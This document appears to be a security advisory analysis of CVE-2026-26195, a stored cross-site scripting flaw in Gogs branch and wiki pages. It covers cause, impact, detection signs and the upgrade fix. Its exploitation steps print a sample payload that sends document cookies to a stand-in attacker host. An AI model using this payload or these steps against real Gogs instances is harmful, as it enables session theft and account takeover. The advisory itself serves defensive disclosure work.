CVE-2026-26195: 
Gogs vulnerability analysis and mitigation

CVE-2026-26195 is a stored cross-site scripting (XSS) vulnerability in Gogs, an open-source self-hosted Git service, affecting all versions prior to 0.14.2. The flaw allows attackers who can inject commit metadata (such as author or committer names) to execute malicious JavaScript in the browsers of users viewing branch or wiki pages. It was disclosed on March 5, 2026, with a patch released in Gogs version 0.14.2. The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 6.9 (Medium) (Github Advisory, Gogs Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The safe() function in internal/template/template.go explicitly disables Go's HTML auto-escaping by casting raw strings to template.HTML, and branch/wiki templates (templates/repo/branches/overview.tmpl, templates/repo/branches/all.tmpl, templates/repo/wiki/view.tmpl) pass unsanitized committer/author names through this function via locale string interpolation (e.g., branches.updated_by = updated %[1]s by %[2]s). Because the sanitizer also permissively handles data: URLs, an attacker who controls commit metadata can craft a committer or author name containing a malicious script payload that is rendered unescaped in the browser. The fix, merged in PR #8176, replaces direct use of .Commit.Committer.Name with a Sanitize() call before interpolation into locale strings piped through Safe (Gogs Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any Gogs user who views an affected branch overview, branch list, or wiki page. This can lead to session token and CSRF token theft, account takeover, and unauthorized actions performed on behalf of the victim. Because the payload is stored persistently in commit metadata, all users who subsequently view the affected pages are at risk, amplifying the attack's reach across the entire Gogs instance (Gogs Advisory, Github Advisory).

No public proof-of-concept exploit or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047%, indicating a low near-term exploitation probability. Exploitation requires the ability to push commits with crafted metadata to a repository on the target Gogs instance, which limits the attacker pool to users with write access or those who can submit pull requests (Github Advisory, Feedly).

1. Gain repository access: Obtain write access to a repository on the target Gogs instance (e.g., via a legitimate account, a compromised account, or by submitting commits to a public repository).
2. Craft malicious commit metadata: Create a Git commit with a specially crafted author or committer name containing an XSS payload, such as <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> or a data: URI-based script.
3. Push the commit: Push the commit to the target repository on the vulnerable Gogs instance (version ≤ 0.14.1).
4. Trigger victim page view: Lure or wait for a target user (e.g., a repository admin or other contributor) to navigate to the branch overview (/branches), branch list, or wiki view page where the malicious committer name is rendered.
5. Harvest stolen data: The injected script executes in the victim's browser, exfiltrating session cookies, CSRF tokens, or other sensitive data to an attacker-controlled server, enabling session hijacking or unauthorized actions (Gogs Advisory, Patch Commit).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after viewing Gogs branch or wiki pages; requests containing URL-encoded cookie or token values in query parameters.
• Logs: Gogs access logs showing repeated visits to /branches or wiki view endpoints from multiple users shortly after a specific commit was pushed; unusual referrer patterns in web server logs.
• File System / Repository: Commits in repository history where the author or committer name field contains HTML tags, JavaScript keywords (<script>, onerror, data:), or encoded payloads — inspect with git log --format='%an %cn'.
• Browser: Unexpected JavaScript errors or network requests in browser developer tools when viewing branch or wiki pages on a Gogs instance running version ≤ 0.14.1.

The primary remediation is to upgrade Gogs to version 0.14.2 or later, which escapes untrusted committer/author names before interpolating them into locale strings rendered via Safe() (Gogs Release). Note that version 0.14.3 is also available and recommended by the Gogs maintainers. As a defense-in-depth measure, administrators should implement a strict Content Security Policy (CSP) header to restrict inline script execution. Additionally, stored XSS payloads embedded in commit metadata will persist in the database after patching, so administrators should audit repository commit history for suspicious author/committer names and consider cleaning affected entries (Github Advisory).

The vulnerability was reported by security researcher rezmoss and acknowledged by Gogs maintainer unknwon, who merged the fix (PR #8176) on February 13, 2026, ahead of the public disclosure on March 5, 2026. The advisory was published simultaneously to the GitHub Advisory Database and NVD. No significant broader media coverage or notable community debate has been identified beyond the standard advisory channels (Gogs Advisory, PR #8176).